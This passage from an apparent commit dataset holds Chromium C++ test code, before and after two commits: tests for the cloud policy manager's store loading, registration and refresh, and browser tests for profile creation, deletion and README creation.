policy_scope(),\n                          base::Value::CreateStringValue(policy_value));\n}\n\nvoid TestHarness::InstallIntegerPolicy(const std::string& policy_name,\n                                       int policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          base::Value::CreateIntegerValue(policy_value));\n}\n\nvoid TestHarness::InstallBooleanPolicy(const std::string& policy_name,\n                                       bool policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          base::Value::CreateBooleanValue(policy_value));\n}\n\nvoid TestHarness::InstallStringListPolicy(const std::string& policy_name,\n                                          const base::ListValue* policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          policy_value->DeepCopy());\n}\n\nvoid TestHarness::InstallDictionaryPolicy(\n    const std::string& policy_name,\n    const base::DictionaryValue* policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          policy_value->DeepCopy());\n}\n\n\/\/ static\nPolicyProviderTestHarness* TestHarness::CreateMandatory() {\n  return new TestHarness(POLICY_LEVEL_MANDATORY);\n}\n\n\/\/ static\nPolicyProviderTestHarness* TestHarness::CreateRecommended() {\n  return new TestHarness(POLICY_LEVEL_RECOMMENDED);\n}\n\n\/\/ Instantiate abstract test case for basic policy reading tests.\nINSTANTIATE_TEST_CASE_P(\n    UserCloudPolicyManagerProviderTest,\n    ConfigurationPolicyProviderTest,\n    testing::Values(TestHarness::CreateMandatory,\n                    TestHarness::CreateRecommended));\n\nclass TestCloudPolicyManager : public CloudPolicyManager {\n public:\n  explicit TestCloudPolicyManager(scoped_ptr<CloudPolicyStore> store)\n      : CloudPolicyManager(store.Pass()) {}\n  virtual ~TestCloudPolicyManager() {}\n\n  \/\/ Publish the protected members for testing.\n  using CloudPolicyManager::InitializeService;\n  using CloudPolicyManager::ShutdownService;\n  using CloudPolicyManager::StartRefreshScheduler;\n  using CloudPolicyManager::CheckAndPublishPolicy;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(TestCloudPolicyManager);\n};\n\nMATCHER_P(ProtoMatches, proto, \"\") {\n  return arg.SerializePartialAsString() == proto.SerializePartialAsString();\n}\n\nclass CloudPolicyManagerTest : public testing::Test {\n protected:\n  CloudPolicyManagerTest() {}\n\n  virtual void SetUp() OVERRIDE {\n    \/\/ Set up a policy map for testing.\n    policy_map_.Set(\"key\", POLICY_LEVEL_MANDATORY, POLICY_SCOPE_USER,\n                    base::Value::CreateStringValue(\"value\"));\n    expected_bundle_.Get(POLICY_DOMAIN_CHROME, std::string()).CopyFrom(\n        policy_map_);\n\n    policy_.payload().mutable_homepagelocation()->set_homepagelocation(\n        \"http:\/\/www.example.com\");\n    policy_.Build();\n\n    store_ = new MockCloudPolicyStore();\n    EXPECT_CALL(*store_, Load());\n    manager_.reset(\n        new TestCloudPolicyManager(scoped_ptr<CloudPolicyStore>(store_)));\n    manager_->Init();\n    Mock::VerifyAndClearExpectations(store_);\n    manager_->AddObserver(&observer_);\n  }\n\n  virtual void TearDown() OVERRIDE {\n    manager_->RemoveObserver(&observer_);\n    manager_->Shutdown();\n  }\n\n  \/\/ Required by the refresh scheduler that's created by the manager.\n  MessageLoop loop_;\n\n  \/\/ Testing policy.\n  UserPolicyBuilder policy_;\n  PolicyMap policy_map_;\n  PolicyBundle expected_bundle_;\n\n  \/\/ Policy infrastructure.\n  MockConfigurationPolicyObserver observer_;\n  MockCloudPolicyStore* store_;\n  scoped_ptr<TestCloudPolicyManager> manager_;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(CloudPolicyManagerTest);\n};\n\nTEST_F(CloudPolicyManagerTest, InitAndShutdown) {\n  PolicyBundle empty_bundle;\n  EXPECT_TRUE(empty_bundle.Equals(manager_->policies()));\n  EXPECT_FALSE(manager_->IsInitializationComplete());\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  manager_->CheckAndPublishPolicy();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  store_->policy_.reset(new em::PolicyData(policy_.policy_data()));\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  EXPECT_CALL(*client, SetupRegistration(_, _));\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n  Mock::VerifyAndClearExpectations(client);\n  EXPECT_TRUE(manager_->cloud_policy_client());\n  EXPECT_TRUE(manager_->cloud_policy_service());\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  manager_->CheckAndPublishPolicy();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  manager_->ShutdownService();\n  EXPECT_FALSE(manager_->cloud_policy_client());\n  EXPECT_FALSE(manager_->cloud_policy_service());\n}\n\nTEST_F(CloudPolicyManagerTest, RegistrationAndFetch) {\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  client->SetDMToken(policy_.policy_data().request_token());\n  client->NotifyRegistrationStateChanged();\n\n  client->SetPolicy(policy_.policy());\n  EXPECT_CALL(*store_, Store(ProtoMatches(policy_.policy())));\n  client->NotifyPolicyFetched();\n  Mock::VerifyAndClearExpectations(store_);\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n}\n\nTEST_F(CloudPolicyManagerTest, Update) {\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n  PolicyBundle empty_bundle;\n  EXPECT_TRUE(empty_bundle.Equals(manager_->policies()));\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n}\n\nTEST_F(CloudPolicyManagerTest, RefreshNotRegistered) {\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ A refresh on a non-registered store should not block.\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  manager_->RefreshPolicies();\n  Mock::VerifyAndClearExpectations(&observer_);\n}\n\nTEST_F(CloudPolicyManagerTest, RefreshSuccessful) {\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  \/\/ Simulate a store load.\n  store_->policy_.reset(new em::PolicyData(policy_.policy_data()));\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  EXPECT_CALL(*client, SetupRegistration(_, _));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(client);\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ Acknowledge registration.\n  client->SetDMToken(policy_.policy_data().request_token());\n\n  \/\/ Start a refresh.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  EXPECT_CALL(*client, FetchPolicy());\n  manager_->RefreshPolicies();\n  Mock::VerifyAndClearExpectations(client);\n  Mock::VerifyAndClearExpectations(&observer_);\n  store_->policy_map_.CopyFrom(policy_map_);\n\n  \/\/ A stray reload should be suppressed until the refresh completes.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ Respond to the policy fetch, which should trigger a write to |store_|.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  EXPECT_CALL(*store_, Store(_));\n  client->SetPolicy(policy_.policy());\n  client->NotifyPolicyFetched();\n  Mock::VerifyAndClearExpectations(&observer_);\n  Mock::VerifyAndClearExpectations(store_);\n\n  \/\/ The load notification from |store_| should trigger the policy update.\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  Mock::VerifyAndClearExpectations(&observer_);\n}\n\n}  \/\/ namespace\n}  \/\/ namespace policy\n<commit_msg>Fix bad CloudPolicyManager test harness setup.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/policy\/cloud_policy_manager.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/message_loop.h\"\n#include \"chrome\/browser\/policy\/configuration_policy_provider_test.h\"\n#include \"chrome\/browser\/policy\/mock_cloud_policy_client.h\"\n#include \"chrome\/browser\/policy\/mock_cloud_policy_store.h\"\n#include \"chrome\/browser\/policy\/mock_configuration_policy_provider.h\"\n#include \"chrome\/browser\/policy\/policy_builder.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing testing::Mock;\nusing testing::_;\n\nnamespace em = enterprise_management;\n\nnamespace policy {\nnamespace {\n\nclass TestHarness : public PolicyProviderTestHarness {\n public:\n  explicit TestHarness(PolicyLevel level);\n  virtual ~TestHarness();\n\n  virtual void SetUp() OVERRIDE;\n\n  virtual ConfigurationPolicyProvider* CreateProvider(\n      const PolicyDefinitionList* policy_definition_list) OVERRIDE;\n\n  virtual void InstallEmptyPolicy() OVERRIDE;\n  virtual void InstallStringPolicy(const std::string& policy_name,\n                                   const std::string& policy_value) OVERRIDE;\n  virtual void InstallIntegerPolicy(const std::string& policy_name,\n                                    int policy_value) OVERRIDE;\n  virtual void InstallBooleanPolicy(const std::string& policy_name,\n                                    bool policy_value) OVERRIDE;\n  virtual void InstallStringListPolicy(\n      const std::string& policy_name,\n      const base::ListValue* policy_value) OVERRIDE;\n  virtual void InstallDictionaryPolicy(\n      const std::string& policy_name,\n      const base::DictionaryValue* policy_value) OVERRIDE;\n\n  \/\/ Creates harnesses for mandatory and recommended levels, respectively.\n  static PolicyProviderTestHarness* CreateMandatory();\n  static PolicyProviderTestHarness* CreateRecommended();\n\n private:\n  MockCloudPolicyStore* store_;\n\n  DISALLOW_COPY_AND_ASSIGN(TestHarness);\n};\n\nTestHarness::TestHarness(PolicyLevel level)\n    : PolicyProviderTestHarness(level, POLICY_SCOPE_USER) {}\n\nTestHarness::~TestHarness() {}\n\nvoid TestHarness::SetUp() {}\n\nConfigurationPolicyProvider* TestHarness::CreateProvider(\n    const PolicyDefinitionList* policy_definition_list) {\n  \/\/ Create and initialize the store.\n  store_ = new MockCloudPolicyStore();\n  store_->NotifyStoreLoaded();\n  EXPECT_CALL(*store_, Load());\n  ConfigurationPolicyProvider* provider =\n      new CloudPolicyManager(scoped_ptr<CloudPolicyStore>(store_));\n  Mock::VerifyAndClearExpectations(store_);\n  return provider;\n}\n\nvoid TestHarness::InstallEmptyPolicy() {}\n\nvoid TestHarness::InstallStringPolicy(const std::string& policy_name,\n                                      const std::string& policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          base::Value::CreateStringValue(policy_value));\n}\n\nvoid TestHarness::InstallIntegerPolicy(const std::string& policy_name,\n                                       int policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          base::Value::CreateIntegerValue(policy_value));\n}\n\nvoid TestHarness::InstallBooleanPolicy(const std::string& policy_name,\n                                       bool policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          base::Value::CreateBooleanValue(policy_value));\n}\n\nvoid TestHarness::InstallStringListPolicy(const std::string& policy_name,\n                                          const base::ListValue* policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          policy_value->DeepCopy());\n}\n\nvoid TestHarness::InstallDictionaryPolicy(\n    const std::string& policy_name,\n    const base::DictionaryValue* policy_value) {\n  store_->policy_map_.Set(policy_name, policy_level(), policy_scope(),\n                          policy_value->DeepCopy());\n}\n\n\/\/ static\nPolicyProviderTestHarness* TestHarness::CreateMandatory() {\n  return new TestHarness(POLICY_LEVEL_MANDATORY);\n}\n\n\/\/ static\nPolicyProviderTestHarness* TestHarness::CreateRecommended() {\n  return new TestHarness(POLICY_LEVEL_RECOMMENDED);\n}\n\n\/\/ Instantiate abstract test case for basic policy reading tests.\nINSTANTIATE_TEST_CASE_P(\n    UserCloudPolicyManagerProviderTest,\n    ConfigurationPolicyProviderTest,\n    testing::Values(TestHarness::CreateMandatory,\n                    TestHarness::CreateRecommended));\n\nclass TestCloudPolicyManager : public CloudPolicyManager {\n public:\n  explicit TestCloudPolicyManager(scoped_ptr<CloudPolicyStore> store)\n      : CloudPolicyManager(store.Pass()) {}\n  virtual ~TestCloudPolicyManager() {}\n\n  \/\/ Publish the protected members for testing.\n  using CloudPolicyManager::InitializeService;\n  using CloudPolicyManager::ShutdownService;\n  using CloudPolicyManager::StartRefreshScheduler;\n  using CloudPolicyManager::CheckAndPublishPolicy;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(TestCloudPolicyManager);\n};\n\nMATCHER_P(ProtoMatches, proto, \"\") {\n  return arg.SerializePartialAsString() == proto.SerializePartialAsString();\n}\n\nclass CloudPolicyManagerTest : public testing::Test {\n protected:\n  CloudPolicyManagerTest() {}\n\n  virtual void SetUp() OVERRIDE {\n    \/\/ Set up a policy map for testing.\n    policy_map_.Set(\"key\", POLICY_LEVEL_MANDATORY, POLICY_SCOPE_USER,\n                    base::Value::CreateStringValue(\"value\"));\n    expected_bundle_.Get(POLICY_DOMAIN_CHROME, std::string()).CopyFrom(\n        policy_map_);\n\n    policy_.payload().mutable_homepagelocation()->set_homepagelocation(\n        \"http:\/\/www.example.com\");\n    policy_.Build();\n\n    store_ = new MockCloudPolicyStore();\n    EXPECT_CALL(*store_, Load());\n    manager_.reset(\n        new TestCloudPolicyManager(scoped_ptr<CloudPolicyStore>(store_)));\n    manager_->Init();\n    Mock::VerifyAndClearExpectations(store_);\n    manager_->AddObserver(&observer_);\n  }\n\n  virtual void TearDown() OVERRIDE {\n    manager_->RemoveObserver(&observer_);\n    manager_->Shutdown();\n  }\n\n  \/\/ Required by the refresh scheduler that's created by the manager.\n  MessageLoop loop_;\n\n  \/\/ Testing policy.\n  UserPolicyBuilder policy_;\n  PolicyMap policy_map_;\n  PolicyBundle expected_bundle_;\n\n  \/\/ Policy infrastructure.\n  MockConfigurationPolicyObserver observer_;\n  MockCloudPolicyStore* store_;\n  scoped_ptr<TestCloudPolicyManager> manager_;\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(CloudPolicyManagerTest);\n};\n\nTEST_F(CloudPolicyManagerTest, InitAndShutdown) {\n  PolicyBundle empty_bundle;\n  EXPECT_TRUE(empty_bundle.Equals(manager_->policies()));\n  EXPECT_FALSE(manager_->IsInitializationComplete());\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  manager_->CheckAndPublishPolicy();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  store_->policy_.reset(new em::PolicyData(policy_.policy_data()));\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  EXPECT_CALL(*client, SetupRegistration(_, _));\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n  Mock::VerifyAndClearExpectations(client);\n  EXPECT_TRUE(manager_->cloud_policy_client());\n  EXPECT_TRUE(manager_->cloud_policy_service());\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  manager_->CheckAndPublishPolicy();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  manager_->ShutdownService();\n  EXPECT_FALSE(manager_->cloud_policy_client());\n  EXPECT_FALSE(manager_->cloud_policy_service());\n}\n\nTEST_F(CloudPolicyManagerTest, RegistrationAndFetch) {\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  client->SetDMToken(policy_.policy_data().request_token());\n  client->NotifyRegistrationStateChanged();\n\n  client->SetPolicy(policy_.policy());\n  EXPECT_CALL(*store_, Store(ProtoMatches(policy_.policy())));\n  client->NotifyPolicyFetched();\n  Mock::VerifyAndClearExpectations(store_);\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n}\n\nTEST_F(CloudPolicyManagerTest, Update) {\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n  PolicyBundle empty_bundle;\n  EXPECT_TRUE(empty_bundle.Equals(manager_->policies()));\n\n  store_->policy_map_.CopyFrom(policy_map_);\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  EXPECT_TRUE(manager_->IsInitializationComplete());\n}\n\nTEST_F(CloudPolicyManagerTest, RefreshNotRegistered) {\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ A refresh on a non-registered store should not block.\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  manager_->RefreshPolicies();\n  Mock::VerifyAndClearExpectations(&observer_);\n}\n\nTEST_F(CloudPolicyManagerTest, RefreshSuccessful) {\n  MockCloudPolicyClient* client = new MockCloudPolicyClient();\n  manager_->InitializeService(scoped_ptr<CloudPolicyClient>(client));\n\n  \/\/ Simulate a store load.\n  store_->policy_.reset(new em::PolicyData(policy_.policy_data()));\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  EXPECT_CALL(*client, SetupRegistration(_, _));\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(client);\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ Acknowledge registration.\n  client->SetDMToken(policy_.policy_data().request_token());\n\n  \/\/ Start a refresh.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  EXPECT_CALL(*client, FetchPolicy());\n  manager_->RefreshPolicies();\n  Mock::VerifyAndClearExpectations(client);\n  Mock::VerifyAndClearExpectations(&observer_);\n  store_->policy_map_.CopyFrom(policy_map_);\n\n  \/\/ A stray reload should be suppressed until the refresh completes.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  store_->NotifyStoreLoaded();\n  Mock::VerifyAndClearExpectations(&observer_);\n\n  \/\/ Respond to the policy fetch, which should trigger a write to |store_|.\n  EXPECT_CALL(observer_, OnUpdatePolicy(_)).Times(0);\n  EXPECT_CALL(*store_, Store(_));\n  client->SetPolicy(policy_.policy());\n  client->NotifyPolicyFetched();\n  Mock::VerifyAndClearExpectations(&observer_);\n  Mock::VerifyAndClearExpectations(store_);\n\n  \/\/ The load notification from |store_| should trigger the policy update.\n  EXPECT_CALL(observer_, OnUpdatePolicy(manager_.get()));\n  store_->NotifyStoreLoaded();\n  EXPECT_TRUE(expected_bundle_.Equals(manager_->policies()));\n  Mock::VerifyAndClearExpectations(&observer_);\n}\n\n}  \/\/ namespace\n}  \/\/ namespace policy\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/bind.h\"\n#include \"chrome\/browser\/profiles\/profile_impl.h\"\n#include \"chrome\/browser\/profiles\/profile_info_cache.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/testing_browser_process.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\nnamespace {\n\n\/\/ An observer that returns back to test code after a new profile is\n\/\/ initialized.\nvoid OnUnblockOnProfileCreation(Profile* profile,\n                                Profile::CreateStatus status) {\n  if (status == Profile::CREATE_STATUS_INITIALIZED)\n    MessageLoop::current()->Quit();\n}\n\n} \/\/ namespace\n\n\/\/ This file contains tests for the ProfileManager that require a heavyweight\n\/\/ InProcessBrowserTest.  These include tests involving profile deletion.\n\nclass ProfileManagerBrowserTest : public InProcessBrowserTest {\n};\n\n\/\/ TODO(jeremy): crbug.com\/103355 - These tests should be enabled on all\n\/\/ platforms.\n#if defined(OS_MACOSX)\n\/\/ Delete single profile and make sure a new one is created.\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, DeleteSingletonProfile) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n  ProfileInfoCache& cache = profile_manager->GetProfileInfoCache();\n\n  \/\/ We should start out with 1 profile.\n  ASSERT_EQ(cache.GetNumberOfProfiles(), 1U);\n\n  \/\/ Delete singleton profile.\n  FilePath singleton_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_FALSE(singleton_profile_path.empty());\n  profile_manager->ScheduleProfileForDeletion(singleton_profile_path);\n\n  \/\/ Spin things till profile is actually deleted.\n  ui_test_utils::RunAllPendingInMessageLoop();\n\n  \/\/ Make sure a new profile was created automatically.\n  EXPECT_EQ(cache.GetNumberOfProfiles(), 1U);\n  FilePath new_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_NE(new_profile_path, singleton_profile_path);\n\n  \/\/ Make sure that last used profile preference is set correctly.\n  Profile* last_used = ProfileManager::GetLastUsedProfile();\n  EXPECT_EQ(new_profile_path, last_used->GetPath());\n}\n\n\/\/ Delete all profiles in a multi profile setup and make sure a new one is\n\/\/ created.\n\n#if defined(OS_MACOSX)\n\/\/ Crashes\/CHECKs. See crbug.com\/104851\n#define MAYBE_DeleteAllProfiles DISABLED_DeleteAllProfiles\n#else\n#define MAYBE_DeleteAllProfiles DeleteAllProfiles\n#endif\n\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, MAYBE_DeleteAllProfiles) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n  ProfileInfoCache& cache = profile_manager->GetProfileInfoCache();\n\n  \/\/ Create an additional profile.\n  FilePath new_path = profile_manager->GenerateNextProfileDirectoryPath();\n  profile_manager->CreateProfileAsync(new_path,\n                                      base::Bind(&OnUnblockOnProfileCreation));\n\n  \/\/ Spin to allow profile creation to take place, loop is terminated\n  \/\/ by OnUnblockOnProfileCreation when the profile is created.\n  ui_test_utils::RunMessageLoop();\n\n  ASSERT_EQ(cache.GetNumberOfProfiles(), 2U);\n\n  \/\/ Delete all profiles.\n  FilePath profile_path1 = cache.GetPathOfProfileAtIndex(0);\n  FilePath profile_path2 = cache.GetPathOfProfileAtIndex(1);\n  EXPECT_FALSE(profile_path1.empty());\n  EXPECT_FALSE(profile_path2.empty());\n  profile_manager->ScheduleProfileForDeletion(profile_path1);\n  profile_manager->ScheduleProfileForDeletion(profile_path2);\n\n  \/\/ Spin things so deletion can take place.\n  ui_test_utils::RunAllPendingInMessageLoop();\n\n  \/\/ Make sure a new profile was created automatically.\n  EXPECT_EQ(cache.GetNumberOfProfiles(), 1U);\n  FilePath new_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_NE(new_profile_path, profile_path1);\n  EXPECT_NE(new_profile_path, profile_path2);\n\n  \/\/ Make sure that last used profile preference is set correctly.\n  Profile* last_used = ProfileManager::GetLastUsedProfile();\n  EXPECT_EQ(new_profile_path, last_used->GetPath());\n}\n#endif  \/\/ OS_MACOSX\n\n#if defined(OS_MACOSX)\n#define MAYBE_ProfileReadmeCreated ProfileReadmeCreated\n#else\n#define MAYBE_ProfileReadmeCreated DISABLED_ProfileReadmeCreated\n#endif\n\n\/\/ Ensure that README file is created for a new profile.\n\/\/ TODO(ivankr): this test probably should belong to profile_browsertest.cc.\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, MAYBE_ProfileReadmeCreated) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n\n  \/\/ No delay before README creation.\n  ProfileImpl::create_readme_delay_ms = 0;\n\n  \/\/ Create an additional profile.\n  FilePath new_path = profile_manager->GenerateNextProfileDirectoryPath();\n  profile_manager->CreateProfileAsync(new_path,\n                                      base::Bind(&OnUnblockOnProfileCreation));\n\n  \/\/ Spin to allow profile creation to take place, loop is terminated\n  \/\/ by OnUnblockOnProfileCreation when the profile is created.\n  ui_test_utils::RunMessageLoop();\n\n  \/\/ Verify that README exists.\n  EXPECT_TRUE(file_util::PathExists(new_path.Append(chrome::kReadmeFilename)));\n}\n<commit_msg>Revert 126404 - Disabled ProfileManagerBrowserTest.ProfileReadmeCreated on non-Macs.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/bind.h\"\n#include \"chrome\/browser\/profiles\/profile_impl.h\"\n#include \"chrome\/browser\/profiles\/profile_info_cache.h\"\n#include \"chrome\/browser\/profiles\/profile_manager.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/testing_browser_process.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\nnamespace {\n\n\/\/ An observer that returns back to test code after a new profile is\n\/\/ initialized.\nvoid OnUnblockOnProfileCreation(Profile* profile,\n                                Profile::CreateStatus status) {\n  if (status == Profile::CREATE_STATUS_INITIALIZED)\n    MessageLoop::current()->Quit();\n}\n\n} \/\/ namespace\n\n\/\/ This file contains tests for the ProfileManager that require a heavyweight\n\/\/ InProcessBrowserTest.  These include tests involving profile deletion.\n\nclass ProfileManagerBrowserTest : public InProcessBrowserTest {\n};\n\n\/\/ TODO(jeremy): crbug.com\/103355 - These tests should be enabled on all\n\/\/ platforms.\n#if defined(OS_MACOSX)\n\/\/ Delete single profile and make sure a new one is created.\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, DeleteSingletonProfile) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n  ProfileInfoCache& cache = profile_manager->GetProfileInfoCache();\n\n  \/\/ We should start out with 1 profile.\n  ASSERT_EQ(cache.GetNumberOfProfiles(), 1U);\n\n  \/\/ Delete singleton profile.\n  FilePath singleton_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_FALSE(singleton_profile_path.empty());\n  profile_manager->ScheduleProfileForDeletion(singleton_profile_path);\n\n  \/\/ Spin things till profile is actually deleted.\n  ui_test_utils::RunAllPendingInMessageLoop();\n\n  \/\/ Make sure a new profile was created automatically.\n  EXPECT_EQ(cache.GetNumberOfProfiles(), 1U);\n  FilePath new_profile_path = cache.GetPathOfProfileAtIndex(0);\n  EXPECT_NE(new_profile_path, singleton_profile_path);\n\n  \/\/ Make sure that last used profile preference is set correctly.\n  Profile* last_used = ProfileManager::GetLastUsedProfile();\n  EXPECT_EQ(new_profile_path, last_used->GetPath());\n}\n\n\/\/ Delete all profiles in a multi profile setup and make sure a new one is\n\/\/ created.\n\n#if defined(OS_MACOSX)\n\/\/ Crashes\/CHECKs. See crbug.com\/104851\n#define MAYBE_DeleteAllProfiles DISABLED_DeleteAllProfiles\n#else\n#define MAYBE_DeleteAllProfiles DeleteAllProfiles\n#endif\n\nIN_PROC_BROWSER_TEST_F(ProfileManagerBrowserTest, MAYBE_DeleteAllProfiles) {\n  ProfileManager* profile_manager = g_browser_process->profile_manager();\n  ProfileInfoCache& cache = profile_manager->GetProfileInfoCache();\n\n  \/\/ Create an additional profile.\n  FilePath new_path = profile_manager->GenerateNextProfileDirectoryPath();\n  profile_manager->CreateProfileAsync(new_path,\n                                      base::Bind(&OnUnblockOnProfileCreation));\n\n  \/\/ Spin to allow profile creation to take place, loop is 